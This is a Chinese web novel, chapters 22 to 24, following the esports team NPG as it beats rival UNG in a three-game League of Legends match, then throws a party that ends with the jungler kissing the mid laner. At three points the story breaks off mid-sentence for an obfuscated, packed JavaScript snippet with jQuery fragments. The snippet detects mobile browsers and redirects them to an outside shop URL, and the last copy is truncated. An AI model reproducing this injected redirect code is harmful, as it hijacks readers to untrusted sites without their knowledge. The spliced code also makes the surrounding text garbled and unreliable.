找到自己的位置后,宋澈扫过舞台另一侧那个有些熟悉的身影。 封临手中整理着外设包,也在看着他。 不,不对。 宋澈很快意识到了角度的微妙偏差,封临视线的尽头是他身侧中单队服上的ID,而谢予辞在背身跟摄像头和粉丝互动,没注意到两位打野间的种种。 两队入座,解说席上亢奋道,“观众朋友们,欢迎来到本周的焦点之战,NPG对阵UNG!需要注意的是,这将是今年节前的最后一场比赛。两支队伍目前分列积分榜第一第二,他们之间的胜负关系将直接决定彼此的排名。” 电子显示屏应声展示出两队战绩,NPG7-1积11分位居第二,UNG8-0积16分,小局不败傲视群雄。今年赛区排名规则是依次看大分、胜负关系、小分、胜利时长,如果NPG希望在季后赛占据主动,这场胜负的确至关重要。 “没错!除此之外,这也是Arrival选手转会后首次面对老东家!” 大屏幕上,BP结束,NPG是一套沙皇加厄斐琉斯的标准双C发力阵容,搭配上野塞恩石头人开团,辅助璐璐提供保护。UNG则一反常态拿了的前中期体系,Arrival锁下了玩的很少的猴子。 猴子是个需要吃资源的战士打野,兼具开团和出伤。 “双边阵容选定,今天两支队伍似乎都有些一反常态,NPG选了他们本赛季很少玩的双大核,以稳定著称的UNG则押宝前中期。” 解说调侃道,“猴子打团能限制NPG双C,舞台已经搭好了,Arrival这把是带着杀气来的啊,看来微博上的狠话不是随便说说的。” “理论再强总归要手底下见真章,让我们一起进入召唤师峡谷!” 青训营The Jungle第一课,打野是个靠脑子的位置。 随机应变、换位思考、心理战略,掌控地图上的视野和资源,帮助队友并打压敌方发育,把比赛的节奏控制在自己手里。 这一课宋澈掌握娴熟,石头人前期在野区面对猴子的确弱势,但打野的输赢并不只看野区。 只要能保住等级,石头人的开团成本和出伤难度都优于于猴子,他这把要做的是前期避战多去反蹲。 游戏时间三分钟,宋澈刚打完两组野怪,屏幕边缘就出现了猴子的身影。 猴子前期也需要发育,野区对拼两人只能说六四开,但阵容受限,厄斐琉斯被压在线上来不了,连带着辅助也不能动。而双方中单如果都赶过来打2V2,NPG的中野无疑会输。 权衡之下宋澈选择不去拼操作,弃野逃生,眼睁睁看着对方大摇大摆地吃掉他的一组野,用自己吃亏换线上发育。 “三BUFF到手,从未有过如此完美的开局!Arrival几乎是踩着视野盲区在反野。”解说扼腕,“Carpet就难受了啊,野区直接烂掉,要从第一轮就开始坐牢了。” 第二轮封临带着中单岩雀一起入侵,好在有谢予辞和李扶砚提供保护眼,他的地图不至于全黑。 塞恩在上路也逐渐打出了一些优势,总算给NPG提供了些上半区碰撞的仰仗。 现在硬着头皮打上野成了当下局面的最优解。 而封临不打算给宋澈任何喘息的机会。 没错,同样的课程,封临也原封不动地受教过。 岩雀墙幔轰隆隆升起,UNG选择下路四包二! 厄斐琉斯无力抵抗不甘倒下,璐璐摇着法杖头也不回地走了。 解说一针见血,“Arrival今天打得很凶,他太了解NPG的节奏了,毕竟师出同门,Carpet的每一步动向似乎都在他的计算之中。” 没过几分钟,猴子再次来中路帮岩雀解线,二人顺势消失在下野区。 “小澈,扶砚,来中路吃经验。”沙漠皇帝弃线保下,“你们解完线,进野区准备先锋团。” 谢予辞在用自己的经济去填补团队的劣势。 按照鄙视链来说打野不配蹭中路,石头人在皇帝面前更是得自觉躲远,但宋澈相信谢予辞的判断,“谢谢,予辞哥。” “光说谢没用,这可是我的未来市场,待会得至少还我两个头。” 六级宋澈终于有了主动开团的资本,但局势依然严峻。NPG的阵容属性太后期,双C完全没伤害。而UNG虽凭借野区优势控下了小龙,却也对沙皇的中塔束手无策。 也巧,双方的困扰都可以通过一个途径解决。 解说分析局势,“峡谷先锋刷新了,这是UNG扩大优势的关键节点,只要拿下先锋撞掉中一塔,NPG的视野防线就会全面崩溃。同样,NPG也继续先锋提款,加速C位发育。” “但NPG想拿先锋难啊。” 李扶砚做视野时差点被钩子逼出闪现,“我不敢往里做,软辅太脆了。” 周衡正在下路带线,“给我个TP眼?” “嗯,塞恩得逼一下龙坑位置,冬均你就不用来了,真打起来反而不好。小澈,待会咱们俩进去抢,你看我位置。”谢予辞安排。 UNG众人已经落位集火先锋,他们也知道NPG不能正面接,让封临把惩戒捏死钓鱼。 就在先锋血量即将进入惩戒线的瞬间,TP亮起,沙皇进场。 流沙移形! 沙皇没有试图用那点可怜的伤害给谁挠痒痒,而是利用沙兵位移拉近距离,金色的禁军之墙旋即在战场中央推开,将正在集火先锋的UNG众人强行分割,猴子和泰坦被推向了河道外侧。 就是现在! 不需要语言交流,本能快过思考。 宋澈的墨菲特闪现下龙坑,直奔残血的先锋。 惩戒落下。 紫色的光芒闪过,先锋之眼落入NPG囊中。 观众席上爆发出一阵惊呼。 “Vale硬生生给打野挤出了一条路,让Carpet抢到了先锋!但沙皇随即被UNG集火秒杀,这真的赚吗!” “看来NPG要牺牲有线权的中路,选择押宝下路了。” 宋澈捡起先锋之眼,反手撞飞试图追击的猴子,吃了璐璐大招丝血逃生。 谢予辞语气依然平淡,“冬均,多吃两组野,发育别停。” NPG看不到发力点阵容,竟走钢丝般地苟住了,没让对手将雪球滚到无法收拾的地步。 三十分钟,UNG经济领先四千,龙魂刷新。 解说不看好他们,“这波团NPG接不了吧?装备差太多了。可是如果不接,龙魂一拿,UNG这把基本稳了。” 观众席里胆小的粉丝已经搂住朋友的胳膊,暗暗为队伍祈祷,准备室中教练组握紧了拳头。 高压下谢予辞的判断依然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278606|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清晰,“放了,可以骚扰一下让他们打慢点。再给我和冬均五分钟,等帽子和冬均第四件出来了直接拍大龙,拿下就双龙汇。” 解说席预测中的决胜团就这样被NPG轻轻放下。 焦灼中五分钟过去得很快,双C装备到手,NPG主动发起大龙河道视野争夺。 即使知道凶多吉少,野辅也必须顶在前面去排眼,果然草丛里藏着UNG的辅助泰坦。 “钩中了!” 巨大的船锚破空而来,精准地锁住了走位靠前的墨菲特。几乎是同一时间,李扶砚为了救人撞上了封临猴子闪现的大闹天宫。 “UNG开到了野辅两个!猴子进场转大,配合岩雀抬,这bo太完美了!” 熔岩巨兽垂死撞入敌阵,将UNG的数人击飞,落地瞬间宋澈的屏幕黑了,他直接被融化在对手的小技能里。 NPG阵型在上单TP落下前就濒临破碎,只剩下脆皮C位暴露在UNG的攻势之下。 “拉扯一下!还能打么?”李扶砚急道。 宋澈充当泉水指挥家,“先往中路撤!有塔!” NPG的主指挥是中单,团战期间辅助会帮忙承担些细节,上野特定场合也会发表意见,AD则是除了报自己的技能CD外几乎不说话。 在这兵荒马乱中,林冬均突然答非所问地喃喃,“如果不是扶砚哥,我可能永远也想不到自己还能成为职业选手。” 刚落地的塞恩主动断尾求生,反身蓄力Q,打算用自己的命保下双C。 只有李扶砚听见了AD的话,“你被揍糊涂了?!” 跟NPG的回忆总是能和李扶砚联系起来。四体不分的未成年人几天前还在为了一顿饭代打网吧赛,转眼间就收拾好了包袱站在明亮宽敞的大楼前。 偶然路过的哥哥见他不敢进去,温柔地接过他的行李,牵着他走进了新的人生。 一年后,他被提上一队,但作为完全的运营新手,他完全不懂除了补兵打团之外赢比赛的方式,所以懂的更多的哥哥放弃了转回AD位的机会,又给他打起辅助。不知不觉已经是他们携手走过的第二年了。 林冬均早早查过,在这个游戏里辅助的曝光度和薪资都跟AD有很大差距。这该怎么办才好呢,明明扶砚哥帮助了自己,自己却害得他玩不了喜欢的位置,甚至掩盖了他的光彩。 既然如此,Rainstorm一定要成为最好的ADC,和Space组成世界第一下路组,弥补当初的过错。 残月之肃厄斐琉斯自登陆召唤师峡谷,便在哀鸿遍野中遭到了设计师的无数次削弱,但依然凭借出色的机制成为大核ADC的不二选择。 英雄联盟一个人开不了局也赢不了游戏,这段时日以来并非只有打野在加练,此刻明月高悬,林冬均的信念触手可及。 游戏时长来到接近四十分钟,默默发育了好一会的ADC暴击四件套在身。 白刀折镜的印记已经通过炮台叠上。 主手通碧,弧光月闪! 林冬均闪现调整身位,清辉夜凝洒下,大中对方追击三人。 爆裂的月光在解说都没有反应过来的一刻收割了他们的生命。 UNG中辅血量瞬间清空,就连上单也进入死血状态岌岌可危! Double Kill! 短短十几秒钟,攻守势易! 粉丝们声嘶力竭的尖叫欢呼中,解说吼道,“果断的决策,顽强的韧性!” “这就是NPG!” 23. 第 23 章 这就是NPG× 这就是厄斐琉斯√ 设计师你能不能管管他! 呃,你呢这个事呀不是说不办,但是呢没有任何一件事情我们谈说一定怎么怎么样,我们讲事在人为啊—— 大家都知道厄斐琉斯后期就是这个比样子,所以你为什么不自己努努力在二十分钟就结束掉游戏? NPG蹬鼻子上脸,水银泻地地终结了比赛。 “1:0!NPG率先赢下第一小局,打破了UNG开赛以来小场不败的记录!即便身处劣势,依旧能做出最冷静的抉择,以小博大以弱胜强,还是我们熟悉的NPG!” 粉丝喜极而泣,“好样的!就这样继续蠕动下去吧!” 要一直做那个随时会暴起伤人的恶心牛皮糖啊! 选手们站起身往回走,林冬均没着急跟上上中野,而是端着自己的水杯,在椅子旁边晃悠了两圈,如愿收获到了辅助一记脑瓜崩。 林冬均捂着脑门乐,“扶砚哥,干什么呀。” “夸你打得好。” 李扶砚揽过他,快步往回走,“就是人傻了点。” 林冬均不服,“哪傻了,我的操作不帅吗?” 李扶砚反手捏他的脸,“以为别人不知道,偷偷爬起来练厄斐琉斯和霞的样子傻,笑的样子也傻。” 粉丝们正享受论坛游龙,很快选手重新登台,第二局BP开始。 这一把红色方的NPG给中单留了最后一手counter位。这版本中单位有明确的T0、T1,按理说在常规比赛中都是前三手抢,此时强势法师已经被Ban得七七八八。 大家伙屏息翘首以待,到底是怎样杀手锏值得被藏至此刻—— 只见那粉色光芒一亮,酷炫的火大语音枪出如龙! “好呀,这才好玩嘛。” 原来是佐佐的伊啊~ 惊天巨变! 场下NPG粉丝纷纷转忧为惊,因赛训组自由的BP破防。 请问!到底是何方神圣在训练赛里用佐伊大杀四方了?这玩意有谁在赢啊? 没办法,现在即使用可乐袭击选手电脑,让时光回溯至五分钟之前,也不能改变已经锁定的选角。 厄加特、杰斯、佐伊、伊泽瑞尔和卡尔玛一字排开。 游戏已经开始,双方各三遍加油过后,零零散散的掌声也逐渐停息。 天地间白茫茫一片真干净,只余一声旷古烁今的愤怒呼唤回响。 “内鬼下课!!” 教练在论坛发起的保住家人挑战里获得了零秒的好成绩,你也快来试试吧。 NPG这把开局不利。 佐伊的选择固然让人捏一把汗,上路的对位更是妙不可言。 NPG给周衡选了个上单厄加特,对阵UNG后手选出的铁男。 铁男在技能范围比厄加特长的同时,伤害还比厄加特高,可谓是全方位抽陀螺。 在养爹这个技术活上,中路养的秀,AD养的疼,上路养的更是纵横宇宙。 团前Poke中佐伊的催眠气泡极限距离命中,飞星拉满砸在铁男爹身上,伤害可爱极了。 佐伊:不停地猜猜猜,又卜了一卦~ 铁男:什么东西?小小的,有点痒。 花里胡哨地跳什么呢?看我铁左拳伤害高右拳高伤害! NPG的阵容弊端在二十分钟后暴露无遗,poke流顺风是折磨对手,逆风就是小丑。NPG眼看这样下去不行,做出了遵循祖宗之法的决定。 拍大龙! 优势拍大龙奠定胜局,均势拍大龙拉扯开团,劣势拍大龙猛火收汁。 眼见对手被他们的行动吸引过来,宋澈的杰斯打野一马当先锤了上去。兄弟几个没有孬种,前仆后继地一个接一个送,全军自刎归天! 双方粉丝惊呼连连。 解说目瞪口呆,“额,这样的NPG的确也挺熟悉哈,满门忠烈。” “闭嘴,你也想一起死吗?”另一位解说冷静地闭了他的麦。 准备室里气压偏低。 “予辞哥。”宋澈没什么事要说,只是下意识追逐中单的身影。 中单撸了两把他的后背。 周衡先声检讨,“这把我的,对线期铁男发育得太好了,他一参团上中野的3V3完全打不了。” 厄加特对线期一次没死,但他被对方上野联动揍得只能闻兵线的味。 铁男明目张胆地吃塔皮,他在自闭草丛立正看着。 “其它地方也没打好,佐伊团前给对面的压力不足。”谢予辞主动揽锅,没让他自己扛。 李扶砚站在一旁,“伊泽瑞尔和卡尔玛的对线优势不够大,我迷路死的那一次太掉节奏。” “那不是为了做视野吗。”林冬均也不看场合,张嘴就是洗,“要怪就怪非要选这么一个阵……疼疼疼。” 李扶砚收回掐他软肉的手。 他也不想让孩子演傻子了,有时候实在拦不住林冬均上赶着。 宋澈忍不住了,“我今天两把都没节奏。” 他们没一个人怪宋澈,但今天最大的问题明明出现在他的野区上。 卫教练打断他们,“现在说这个没有意义,你们对下一把的阵容有想法吗?可以根据今天的手感给你们调整选角。” 宋澈率先开口,“第三把我可以......” 他的声音停下了,因为中单站起身压住他了的肩膀。 谢予辞说,“别勉强自己,UNG一定是把最多的功夫下在了野区,有心算无心,才会让你处处被制肘。没必要跟他们硬碰硬,想通过一场常规赛就证明自己是世一野?那就去吧。我们只要赢。” 宋澈抬头看他,中单比出道时长开了许多,谈到比赛时眼中的专注却多年不减。 “下一把我可能会减少点支援,大家对线多注意,可以吗?”谢予辞征求队员们的意见。 宋澈意识到他还是低估了谢予辞的勇气。 明星选手就该在万众瞩目的时刻,极端高压的绝境下把队伍扛在肩上,轻描淡写的说出那句—— 把球给我。 第三局BP,UNG针对状态最好的中路做了封锁,Ban掉了几个强势中单,NPG看到对面相对脆一些的阵容,四楼反手锁下阿卡丽。 场馆中的议论声陡然拔高。 “这个版本阿卡丽的容错率很低,但这把阵容的确有她的发挥空间!Vale这是要告诉所有人就算靠个人能力硬凿,这一胜NPG也势在必得!” UNG后手选出辛德拉应对,配合上野猪妹剑魔,一副要打架的姿态。 “小澈。” 游戏加载时,宋澈耳机里传来谢予辞平静的声音。 “予辞哥,我在听。” 谢予辞说,“就像我相信你那样,也相信我吧。” 面对顶尖的辛德拉使用者之一,在没有打野帮助的情况下,阿卡丽似乎只有抗压一条路可选,打出线权是不可能完成的任务。 但宋澈相信Vale。 一级团双方在河道遭遇,宋澈用蔚果断Q闪留人,配合阿卡丽的技能打出电刑,林冬均补了两下平A,虽然没产生击杀,但打出了辛德拉的闪现。 解说道,“这还是NPG近几周第一次组织一级团。在缺乏强势英雄的情况下,一级团的不确定性太多,这与他们的游戏思路不符。” “偶尔用一次也能出现奇效。” 对线期没有闪现的辛德拉不得不走位小心,阿卡丽展现出了教科书般的拉扯,利用技能的极限距离补刀消耗,在烟幕弹的掩护下神出鬼没,顺利过渡到了六级,并领先了一次回城。 UNG不能接受阿卡丽超前发育,导播把战争迷雾切换成UNG视角,猪妹在中路草丛蹲伏了足足半分钟,等待大招甩脸的时机。 谢予辞似乎毫无察觉。 就在阿卡丽隼舞挂中辛德拉,二段E飞身而去的瞬间,猪妹的大招破空而来。 解说大喊,“阿卡丽被减速到了,但是UNG不知道,蔚也在!” 就在观众们都以为阿卡丽必死无疑的时候,一道身影从侧翼杀出。 英雄头上顶着ID, NPG Carpet。 宋澈没有选择去救被控住的阿卡丽,天霸横空烈轰直接锁定辛德拉! 辛德拉被强制击飞,与此同时,阿卡丽身上的减速解除。 谢予辞没有任何犹豫,表里杀缭乱第一段越过猪妹,直接贴脸辛德拉。 霞阵铺开,骗出辛德拉的推,被动平A接Q,再接二段R斩杀! 行云流水。 First Blood! 击杀提示音响起的同时,阿卡丽潇洒拉开距离。 “虽然今天Carpet选手状态不佳,但他们仍然取得了中野对抗的胜利!” 凭借越滚越大的优势,NPG又来了次拍大龙,好在终于成功了。 二十五分钟上高地,UNG被阿卡丽骚扰得心烦意乱,而就在他们技能迎来真空期的那刻,蔚和上单奥恩同时进场。 双C补上输出,1换5! 随着蜂拥而至的兵线,NPG将赢下这场焦点战! “这就是Vale!我们好像又看到了那位出道即巅峰的天才,时间带走了他的反应速度吗?不!它只是把刺客的刀磨得更锋利了!” 在宿舍里看完官方解说回放,宋澈洗漱完毕准备睡觉,他刚把床铺整理好,手机就叮叮咚咚响了起来。 来电显示是李扶砚。 宋澈接起,“什么事?” 电话那头李扶砚兴致勃勃地指点江山,“宋澈快出屋,你先去把客厅收拾收拾,我和冬均已经买好吃的马上到家了,明天放假之前咱们先来团建一波!” 谁答应了? 没人通知他啊? “有事要提前说。” “你事真多。我们要举行一个超棒的Party,你受到了邀请。好了,这总行了吧。” “说中文。” “啊啊啊文盲能不能远离我的生活啊,真是无语了。总之你搞快点,举着手机太冷了,不跟你说了。” 嘟嘟嘟—— 辅助不耐烦地挂掉了电话。 宋澈默默放下手机,对着穿衣镜打量自己这身伦琴猫睡衣。 再问一遍,这事谁答应了? 宋澈认命地走出房间,客厅里上次林冬均吃剩的薯片袋子还大敞着口,杂物也被扔得七零八落。 他顺手把杂物归位,垃圾丢掉,又回自己房间翻出一个偏硬的记忆棉靠垫,给它做了个心肺复苏后摆在沙发中间的位置。 门锁就传来解锁声。 “当当当当,外卖到咯!” 李扶砚冲了进来,身后跟着提着满满当当的袋子的林冬均。 林冬均和宋澈被他指使摆盘,他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278607|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己则去敲门叫出了周衡和谢予辞。 宋澈立马就意识到了自己忘了什么,他还没来得及去换衣服。可惜为时已晚,谢予辞冲他笑了笑,“小澈这身睡衣很可爱嘛。” 宋澈低头看了一眼衣服上的花纹,想死的心都有了。 “嗯。”宋澈只好闷声应了,他指指沙发边特意摆好的硬靠垫,“予辞哥,你坐这儿吧。” “这是给我的?谢谢小澈,好贤惠哦。” “......予辞哥,你又闹我。” 谢予辞摸了摸靠垫,“小澈以前是不是用过这个?上次好像在你房间里看到过。” 宋澈假装专心致志地掰一次性筷子,“李扶砚让我收拾客厅,我顺手拿的。” 李扶砚拉长了声音,“顺手拿了自己床上的啊?这么贴心,我也想要。” “你可以拿林冬均的。” “扶砚哥,我去给你拿。”林冬均立马起身。 “哎,小可怜,你别招他笑了。” “来,都别愣着。”李扶砚从冰箱里拿出啤酒和可乐,又从角落里抱出一箱露露,“庆祝咱们干翻UNG,也提前庆祝新年!” 林冬均把拆出来的烧烤、炸鸡、小龙虾铺满整张茶几,并试图把李扶砚爱吃的往他旁边摆。 “哇,这么丰盛,我们要提前吃年夜饭了吗。”谢予辞眼睛弯弯地看着下路组互动。 临近春节前的周日夜晚窗外很安静,五个人围坐在茶几旁,屋里暖烘烘的,电视里还播放着嘈杂的综艺节目。 大家的话题从比赛的某一波团战,聊到封临赛后的臭脸。 “你们是没看见,握手的时候Arrival那个表情。”李扶砚咬着鸡翅,含糊不清地说,“活该,让他狂!” 宋澈好奇,“所以你发微博了吗?” 李扶砚说,“第三把的时候就发出去了,我选的定时发送,不留退路!” 周衡事先不知道这事,听他们一说也来了兴趣,“哦,我看看。” 【@NPG Space:@UNG Arrival 等你教我呢,打野人到了吗?诶呀怎么走了】 底下的评论为这位大串子做出注释。 【我真服了,Arrival打得好叫到了,打得菜叫走了。】 【闹剧结束了。】 【UNG输了Arrival没输,一个BO3Carpet落后的经济够辅助用一整局的了。】 【好的Arrival没输,NPG夺冠那天会给他追封一个老六冠军的。】 【长期任务:诛杀叛忍(1/4)】 周衡喝了口酒,感叹道,“他确实有点急了,去年在赛场上我感觉他是挺闷的一个人,怎么出去一趟转性了。” 宋澈剥着小龙虾没接话,他多少能理解封临的急躁源于不安,想要证明离开NPG也能很好的执念。他初入次级联赛的时候也有过类似的心情,但BG实在是太烂,他很快就看破红尘人淡如菊了。 顺手把虾放在中单盘子里。 风卷残云谈天说地之后,辅助选手不怀好意地搓搓手,“来吧,虽迟但到的保留节目。” 宋澈顿觉不妙,有个太爱作妖的队友,其中的烦恼外人根本体会不到。 李扶砚一拍桌子高声宣布,“真心话大冒险,今天谁也不许怂!” 最先试图耍赖皮的竟然是谢予辞,“忽然感觉自己说不出话了,怎么办,只好你们自己玩啦。” 中单敢说,打野敢应。 “予辞哥,那你先去休息会吧,我给你倒水。”宋澈说着就要起身,被中单轻轻揪了回来。 “不行,我想看小澈玩。” 宋澈道,“予辞哥,我不太擅长英雄联盟以外的游戏,大冒险的那些动作我做不出来。” 周衡附议,“我也是,这年纪胳膊腿都僵了,动不了啊。” 李扶砚好言好语地劝他俩,“放心,为了照顾老年人,咱们可以把大冒险的体力活动改成给陈监督发飞吻照片,或者开直播鞭一下封临之类的。” “你是恶魔吗?”周衡评价。 “那我们投票,少数服从多数总行了吧!” 投票看似公平,实则不然。 李扶砚说什么林冬均就是什么,谢予辞不用参与,自然看热闹不嫌事大。 最终中射辅赞同,上野反对,玩游戏派以20%的巨大领先获胜了! 李扶砚找来个洗干净的瓶子开转,所有人的视线都被瓶口吸引。 第一轮,瓶口稳稳地指向了林冬均。 “我选大冒险!”AD抢答,显然不想让任何人探听他的内心。 李扶砚笑得猖狂,“好,去,对着窗户大喊三声‘我是世界第一笨蛋ADC’。” “扶砚哥,我到底哪笨啊?” “愿赌服输哦小冬均。” 伴随着屋内无情的笑声,林冬均红着脸去了。 第二轮,瓶子旋转的速度慢了下来,最后不偏不倚指向了企图把自己缩进睡衣里的宋澈。 “真心话。”宋澈迅速判断,大冒险的尺度在李扶砚的恶趣味和谢予辞的纵容下,随时能挑起第三次世界大战。 “真心话啊……”李扶砚正思考着,就听林冬均冷不丁问出了一个问题。 “你是不是喜欢扶砚哥。” 此言一出满堂皆惊。 李扶砚捂脸,“哎,你们看,我是不是一点都没说错他?” 24. 第 24 章 林冬均一脸视死如归,颇有种破釜沉舟的气势。 硬生生把一个问题说得如泣如诉。 一旁敏锐地察觉到没有牵涉自己的中上相视偷笑,显然,这两位哥哥是想要看戏了。 身在局中的宋澈自我反省了一下,是不是因为赢比赛加上过节放假,让他们都有点得意忘形了,在上辅的撺掇下喝了点酒,才导致如今的局面。 不行,再怎么说也觉得很无语,这根本不是他的问题。 猫在路边好好走着,突然踹人家一脚是什么意思啊。 于是他言简意赅地澄清,“我喜欢谁也不可能喜欢他。” 李扶砚又不爽了,“你态度不能好点吗?NPG可再也没有咱俩这样出身同期的好兄弟了,你解释的时候摆什么臭脸?” “那你喜欢我?”宋澈反问。 “我不喜欢!你去死吧!”李扶砚崩溃。 宋澈内心冷笑,嘴上说兄弟,骂人的时候只会拉偏架。怎么光逮着打野挑错,先开团的ADC就这么全身而退了吗。 林冬均没被他俩的抢白打断施法,一看就在心里憋了好久,好不容易酒壮怂人胆,立马开始罗列罪状。 宋澈傲然应诉。 林冬均气势如虹,“扶砚哥把你的微信置顶了!” 异议鸭梨! “他没置顶咱们队其它人的?” 证人谢予辞发言,“扶砚也置顶我们了哦。” 庭警周衡呈上证物,“要不你看看扶砚手机吧。” 林冬均颤颤巍巍,“那不一样......还有,扶砚哥背地里把你的操作夸得天上有地下无的!” “怎么,你是觉得我打得不好?而且你把他的话夸张了多少,你自己心里清楚。” 林冬均已是强弩之末,“扶砚哥让你帮忙干什么你都照做,甚至上次比我还快!” 宋澈长呼一口气,“因为他真的很吵,如果不听他的他能念叨到我耳鸣。” 李扶砚越听越不对劲,不得不出场打断,“停一下,你骂我骂爽了是吧。林冬均!你能不能长点脑子,我们下路组的地位、我辛辛苦苦维系的威望全毁在你手上了!” 因受害者倒戈,检察官一方被彻底KO。 见辅助也不跟自己站在一起,林冬均声音竟然染上哭腔,“我知道我没上中野厉害,扶砚哥不喜欢辅助我也是应该的......” 孩子的天塌了。 李扶砚破防道,“你喝了多少啊,不是给你拿露露了吗?” 多喝点核桃杏仁露,对你有好处。 原本专心致志看戏的谢予辞瞧AD越说越悲从中来,也赶紧起身帮他拿抽纸擦眼泪。 林冬均太投入了,没接。 宋澈联想起林冬均往日的表现,挑眉道,“你对我绷了两个月的脸,不会就因为这事吧?” 林冬均已经完全沉浸在被辅助无情抛弃的幻想中,自顾自地絮叨,“但是、但是你既然跟扶砚哥那么好,为什么还要每天粘着予辞哥?” “仗着自己打得好,所以就要踩两条船吗!” “噗——!” 周衡接过谢予辞手里的纸擦嘴,“没事,我不打扰,冬均你继续。” 好的,现在好心的狐狸也被踹了。 李扶砚试图用勒死ADC的方式打断他的胡言乱语。 林冬均用力挣扎,“你肯定是用见不得人的手段迷惑了予辞哥,才让予辞哥内推的你!只有你会不知羞地一天到晚‘予辞哥长予辞哥短’!” “还有,扶砚哥那么凶,对你也是笑嘻嘻的。” 宋澈真的疑惑,商家到底在酒里加了什么,这不才12度吗,至于演的这么用力吗? 李扶砚拳头硬了又硬,“林冬均,你过分了,我再给你最后一次脸。” 如果ADC听不进道理,辅助也略懂些弓步冲拳和马步横打。 装疯卖傻之人察觉杀机,打了个寒颤。 宋澈终于找到空隙,生怕被借题发挥,立马说,“首先,我和李扶砚只是以前就认识。其次,我的试训你也参与了,具体情况你自己知道。最后,我没觉得我对予辞哥有什么......” 说到这里,他却卡壳了。 真的没有什么吗? 那些相处时不知不觉的怔愣,那些眼神下意识追逐中单身影的瞬间,那些心脏一下一下砰砰跳动的震耳欲聋。如果这都不算有什么,那他为何无法坦率地说出口。 好在大家的心思都在林冬均身上,中上都没注意到他最后一句话只说了一半。 谢予辞适时地轻轻按住林冬均,“好啦,冬均,你担心你不是扶砚最喜欢的队友了,对不对?” 林冬均痴呆状点头。 喜欢是相互的,当我说我最喜欢你时,你也一定最喜欢我。如果不是察觉到了自己是对方心中最最最特别的那个,是无法回报同等重量的感情的。 谢予辞带着无奈的笑意,“那就当作是小澈其实最喜欢中路好了。” “中野亲近一点是天经地义的嘛。” 林冬均梦呓般布置战术,“不行,还是让他去喜欢上路吧,予辞哥,我和扶砚哥会保护好你的。” 周衡乐了,“冬均这孩子是挺善良的,都到这地步了还能想着我。” 今天凡是在场的一个都别想跑是吧。 “行了行了,你别指挥了,再不去睡觉明天你脑袋得炸。”李扶砚实在颜面无光,直接站起来架着这个死沉的沙袋就要走,“把你外套穿上,我打车带你回我家,省得你半夜起来耍酒疯打扰人家休息。” “我不走!我要听真心话!我还有话要问呢!” “走了!明天醒了你会跪着谢我的。” 队长大人操心道,“别着急,窗外雪已经下起来了,不好叫车,等到了再出去,别过年时着凉了。” 上中野帮着李扶砚收拾东西打车,下路两人拉拉扯扯地跟在后面。送走他们回来,客厅里那股吵闹劲消散,只剩下一片狼藉和还没散去的酒气。 周衡一看战火平息,也没什么其他事了,打了个哈哈,“那你们早点休息,我跟朋友再出去喝点。” “最近次数不会太频繁了吗?” “放心吧予辞,我有数。” 偌大的客厅转眼只剩下宋澈和谢予辞两个人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278608|198312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 耳边一清净,宋澈才意识到自己的脸也有点发烫。 “小澈,别听冬均瞎说。”他身边的沙发陷下去一块,谢予辞回自己的位置坐下,上次闻过的沐浴露的味道混上了淡淡的酒气,甜得他更晕了。 “小孩子就爱胡思乱想。” 宋澈侧头盯着他。 看起来很好欺负。 念头一冒出来,宋澈就被自己吓了一跳。 他想说点什么转移注意力,没头没尾地来了一句,“予辞哥,你也觉得我很贪心吗?” 明明向Quietus诉说了心意,又忍不住想要靠近身边的哥哥。林冬均说得不全是疯话,他可能真的是个坏人。 谢予辞不明所以,“嗯?” 宋澈自知失言,一时间没想好如何补救。 好在谢予辞已经把话头接了过去,“我们是职业选手,贪心不是坏事。这不是小澈自己说的吗?” 能站在一起追逐星星的时间太短,想要的东西就去拿,这有什么错。 “脸好红,是不是也有点不舒服?” “嗯……有点烫。” 谢予辞的手背贴上了他的脸颊,宋澈抖了一下,歪过头。 “那要不要先回屋休息,你自己可以走吗?” 宋澈大脑放空,其实什么都没想,只是听到了中单的声音就反射性地顺从点头。 站起来的时候他腿软了一下,整个人不受控制地往谢予辞身上栽。队长大人也不恼,半抱着把他送回了屋。 完蛋了,这下表现得不是完全和缺心眼AD一样了吗。 窗外透进来的月光为房间铺上层银色,宋澈被放到床上,身下的柔软没让他松开抓着谢予辞衣角的手。 “予辞哥。” 谢予辞俯身看着他,“嗯?小澈,还要什么呀?” 太近了。 不管是声音还是人。 宋澈木木地盯着自己抓着对方的手,鬼使神差地逐渐用力,把他拉向自己。 “小澈?”尾音语调上扬,但没有任何阻力传来。 “就一会儿,这次不贪心。” 唇瓣相贴的那一刻世界很安静,只剩谢予辞睫毛翕动惊扰起雪光的声音。 好凉。 现在英雄联盟之神出现啦,祂要指控Carpet玩家是个理想主义者、三流召唤师,还过于诚实。pet大人快想一想,应当如何反驳?* 